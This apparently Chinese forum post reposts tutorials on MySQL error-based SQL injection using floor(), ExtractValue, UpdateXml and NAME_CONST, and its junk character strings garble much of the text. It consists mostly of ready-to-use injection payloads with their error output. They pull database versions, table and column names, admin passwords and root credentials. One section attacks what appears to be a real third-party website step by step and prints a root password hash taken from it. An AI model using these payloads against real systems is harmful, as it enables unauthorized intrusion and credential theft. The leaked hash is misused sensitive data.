找回密码
 立即注册
查看: 3685|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:; r0 o7 v4 R9 a8 d. U
首先进行正常查询:

mysql> select * from article where id = 1;
  i; l7 P, u/ S+—-+——-+———+
) `8 M0 l5 T3 h' R) [+ w) {| id | title | content |# S: x& c- T- ]0 J0 \) d
+—-+——-+———+3 z$ q6 \# q8 J6 B
|  1 | test  | do it   |
: m' j: [6 t" f; F+ X& s+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
* I% g- T) C  y: iERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
( a8 K3 U5 L# S6 d/ p( `例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);% R8 o" V9 M* u1 U
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));3 D% j* t! H3 G* @: ~) u- c
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue2 q7 b: F$ M3 b( }! w* {
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
* I- E  J! y  R$ t# D1 m$ k5 aERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’


5 p5 x# q' K) z7 ^5 G% l; p1 k1 `
" l* r- m# a* W, v

再收集:

9 |7 Q2 q' \- v  r' y
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) . q) b0 r! @3 z7 {

' [- F/ Z' C5 a$ D: [6 qErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’5 g- k9 E; o" L7 B3 O5 J" C8 ?9 G
% w0 Z# y% f( h1 Z
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
$ y7 P% r+ [+ p
; D  D  R$ j1 V3 i3 IErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ . l3 [) a! T& u' I7 s$ C
, S8 `- O; `2 p6 y3 z+ ]& ^
MYSQL高版本报错注入技巧-利用NAME_CONST注入+ Y) B& a0 O6 [  \, P, V
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. / m0 A( K9 A2 o0 p8 V& F7 [8 X3 Q# `
& M7 P6 V7 e9 n, s  E5 R% N! a

* \+ V2 a) W: \" v8 z2 |0 T/ m9 M$ ~相关信息
, k; O$ Y: X4 i, V4 B9 r* Z4 a+ ^7 C
, f4 V! [3 x/ i) {8 ?) s7 [: fNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
: o- c; p  f. G: j0 r  R, m% @6 B1 e, k# P/ g4 ^1 w
Code:
7 D, |2 u8 I3 X) h  u/ [% @NAME_CONST(DATA, VALUE)0 {$ S* K6 k6 Y' r) c$ d

1 y8 \- C- j8 `5 MReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.1 ]6 W; u$ ]1 L
+ ]* N& C9 F9 o$ G2 `/ j+ C" X
SELECT NAME_CONST('TEST', 1)
% x9 H0 a( U+ J5 L7 _( W# ?# z: N/ F, ~

6 M" T+ F" h9 B  C
4 d( {. v, Y! G/ A4 c|---------------|
9 m) {8 ^' d% F# T; f+ F|     TEST      |- A/ x0 ?) {( h( z  T! f7 b8 |* O
|               |8 X" s9 Q: @4 P
|---------------|
* P- V1 S1 o9 ?/ h0 D|       1       |
- o5 r* m' S1 h- ~5 R+ Z6 }8 D|               |% g9 Q5 |7 f/ i* O- O
|---------------|
4 S4 B+ v/ q) j' s6 `4 n% h/ j

. m2 D% U5 ]" S* }
4 D/ Z6 A4 H' O, h" ]* {& x
9 @& b$ G* P# g! t8 a2 I; A! u2 e8 _! Z1 g
http://dev.mysql.com/doc/refman/5.0/en/m...name-const3 b! q: \- \0 Z& Q
Intro to MySQL Variables1 z" U  g! n* f+ L( |

) i8 \2 H9 D6 r- fOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.( B% y, N2 a0 s1 `2 J" x

) |$ i5 T/ T% _Code:. O! g1 \8 V* R
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
2 _* J& `9 y! A/ W! C5 ?# Y" J7 b- v$ O( S8 P8 d

3 l8 D& R$ u' S5 L( z
# y9 x5 W. @' ^3 x& T, H
5 F0 i, E. n; d) o$ s
5 ?# @5 h. b" V0 N4 k3 M) G
Code:
  v: v" z( @! d7 V8 c0 R* Aand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--" D3 R( p3 l( Q

) Y# R  f# u9 r$ U3 j6 U: E1 X6 [' F; X! F5 U
VAR = Your MySQL variable.7 |5 N/ ^- \; R5 r- k* E
# S/ l% l5 a5 ^7 }% ?/ m
MySQL 5.1.3 Server System Variables9 x0 _) Q3 |8 P7 ?

) y6 X4 z- E* ^5 M: \Let's try it out on my site..
6 y; g5 y/ ?: m( d7 z& u0 d4 H* s3 A6 v4 c
Code:
( j5 k. W* n! C6 Z% lhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
: H9 u/ d: _3 }5 r/ _1 V5 W# }& S; \- }# N1 v! h
Erroruplicate column name '5.0.27-community-nt'
" W' i9 H0 k. K; K

2 V& x1 g1 v0 y" f5 I: Z! e  U. v! V1 j3 @  r* `. a
$ [" C& e! a+ J! I( [

  w. f9 p- ^% k4 H4 q3 m- Z: C- r
4 h1 F+ `! ?- dNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
/ s  r, v3 t1 r8 w$ {$ r2 l" i1 u- f- y5 g. R
Data Extraction; Z. ~6 J8 U4 Q& [; ]5 T

" u. u+ W, h9 |( ~, y: d# mCode:$ n0 h. ~3 S3 ~: `5 S( n( N' A
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
/ g9 Q5 Z  k4 z- ]& E
# R9 h, `, T* u  h1 ~7 g
& A3 \& l/ _! D6 [' N7 J
We should get a duplicate column 1 error...$ `" q7 d" N' m1 U

- I' _, q1 p+ a5 U' t& bCode:
) E1 R8 f/ M% S! i' Q/ u& Lhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
' x: O' V$ y4 d1 C$ Q" [' a3 o. t3 k' |1 ~) F; x  d
Erroruplicate column name '1
7 F6 V1 g9 d2 f. [

: \6 }7 ], X) i7 z+ m) c
. U0 q0 `. D& P' Q8 J4 g" U5 Y3 J$ y- I! ]" ?3 A6 l; j

$ \% ?! g( `, [2 L$ C5 x/ R

7 L5 \( r5 d  _  J/ @  P* {
) r  {9 {/ s& U2 S6 ~Now let's get the tables out this bitch..
0 t/ a3 ^; s* a
$ N" |/ H3 s' c+ [, P' Q' O9 q* WCode:. }. D0 [7 \' @# h& G* c6 h4 x! A
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--8 S* n/ l! A' x  h
& L& Q* q$ b; D" C6 e9 h% w. a4 `

+ i; V& w9 I4 k( r" ~9 dLet's see if it works here, if it does, we can go on and finish the job.( Z2 B* P! I/ ?1 i7 N. @. ~
  r. b* _' l  X
Code:8 r5 O, |# K7 E0 \3 D2 e6 {
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
2 ^& Y/ d6 a0 f& U5 x
  N! @! }0 G2 k# N' m: J2 |+ O/ q2 G5 z, T/ o+ Q
Erroruplicate column name 'com_admanage0 L- K3 _$ T+ f# h4 @( U& ?% }

% c2 N% v6 Z. U  U! n* @9 i! j( s# [
7 B! }; l' }- b# X+ z& X6 M
6 U8 j: y! A9 y/ V5 p  F% A

# G" k4 ]# b$ b9 Q+ q  o3 l% D: y* \. R' w, P
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.7 C$ l, d2 N+ q$ z

1 m: G$ |- R" l' C  q. o4 c/ }% Z* WLet's get the columns out of the user table..+ g* h  m3 N+ X: K+ e( h6 k% _1 P

; P9 H0 U$ c/ ~% r# b# \; dCode:6 y+ ~# ?# @2 F+ t) ~7 p0 |2 ~
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--9 F) D) |6 ?7 v- r

. E0 N( u: i1 ^8 M# L: \- n& ~8 b: r- T0 u: D
So mine looks like this, and I get the duplicate column name 'Host'.2 N3 g: ~+ f0 i( t5 T

2 _& N1 s$ D) x6 N  rCode:
( @; X; f/ T1 G( m+ _http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--; N) f$ O5 f; y1 }$ T

1 {# \' `  H( U# WErroruplicate column name 'Host'" I8 W& N! J# W% r
: S" h, k" u+ O- R( n) L! W
: D1 Z# z* Y# Z
+ \& c. ~! M3 S

5 z" q8 j% N% x
% v- h) o% C1 S) h" [
) a4 \, {9 w. x- {; _7 P, l
Woot, time to finish this bitch off.& |* M1 A7 V  l* g5 G' J2 Y" D
2 o1 ?9 w! i* S0 W" V
Code:' g! h1 q! G& |/ B  J, m# W
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--% ?9 c8 M3 b6 M! [! [4 e, y6 @

- l9 U% p" G% g$ n7 L
) b* ^( `9 B- ]- K5 y2 _4 M9 gSo mine looks like this...8 N' h$ X" o' g9 j+ V5 X' M
) i, a7 X( ^- e* K/ Z& r
Code:
: N& Z2 @" Z* y, C- _http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
5 V) d+ Q/ j" U7 J7 E: I& [, \' t6 o) G4 v
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'6 `' c% J# t7 |: ]- Z

6 |% Y4 n9 m5 J% n) R$ o9 F- f6 S  ~
9 \; L* s" d& w6 _1 q) X0 B: v
$ `1 O# T. Z, q0 t. k" q3 |5 }0 s$ z/ P$ F. B

- f7 a7 A- W% K9 v6 c9 U& q3 Y: `$ k; ?/ x2 m, D+ d$ i  I7 ~  L  b5 @3 \
And there we have it, thanks for reading.
0 W3 j/ I6 Z' K& J% Q: Q. _7 A

/ E$ e3 l8 t! H/ A- Q, k7 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表